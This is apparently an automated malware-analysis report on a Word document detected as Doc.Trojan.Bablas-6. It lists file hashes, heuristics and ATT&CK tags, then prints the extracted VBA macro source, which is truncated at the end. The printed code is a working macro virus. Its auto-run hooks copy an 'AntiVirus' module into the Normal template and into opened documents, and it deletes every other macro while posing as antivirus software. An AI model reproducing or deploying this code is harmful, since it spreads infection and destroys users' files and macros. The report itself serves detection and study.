Doc.Trojan.Bablas — Office (OLE) malware analysis

Static analysis result for SHA-256 080fba694c70639d…

MALICIOUS

Office (OLE)

33.0 KB Created: 2001-01-10 13:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4af6b5f055dc0de13d1cb822f48441e0 SHA-1: 4f85e9f58dbb9b53f4063ba7f4864ff60c9020bc SHA-256: 080fba694c70639d65698861b05ab762de99b05aaff418ea755da5f040202d99
240 Risk Score

Malware Insights

Doc.Trojan.Bablas · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a malicious Word document by ClamAV, specifically 'Doc.Trojan.Bablas-6'. It contains VBA macros, including AutoOpen and Auto_Close, which are triggered automatically upon opening and closing the document, respectively. The script attempts to manipulate the document's caption and delete other macros, indicating a malicious intent to control the document's behavior and potentially hide its malicious nature. The presence of legacy WordBasic auto-exec markers further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Bablas-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-6
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4655 bytes
SHA-256: 034bcf31bae395f26ea3cfd5c1961d565e0136eea998438b29ebd8b75902e711
Detection
ClamAV: Doc.Trojan.Bablas-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AntiVirus"
Sub ShowMessage()
    On Error Resume Next
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("Selamat. Anda telah memakai AntiVirus yang benar.", vbOKOnly + vbExclamation, "Ucapan Selamat")
    End If
End Sub

Sub Bablas()
    On Error Resume Next
    Options.SaveNormalPrompt = True
    Options.VirusProtection = True
    Options.SavePropertiesPrompt = True
End Sub

Sub ToolsOptions()
    On Error Resume Next
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "AntiVirus sedang aktif"
    ActiveWindow.Caption = "( SarwoAsih - Mbah Sanggar )"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "AntiVirus" Then DocOk = True
        If Obj.Name <> "AntiVirus" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying AntiVirus From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="AntiVirus", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "AntiVirus" Then NorOk = True
        If Obj.Name <> "AntiVirus" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying AntiVirus From " + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="AntiVirus", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = True
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    On Error Resume Next
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    On Error Resume Next
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros True
End Sub

Sub AutoOpen()
    On Error Resume Next
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    On Error Resume Next
    SikatDocument
    ActiveDocument.Close
End Sub

Sub FileClose()
    On Error Resume Next
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
 
... (truncated)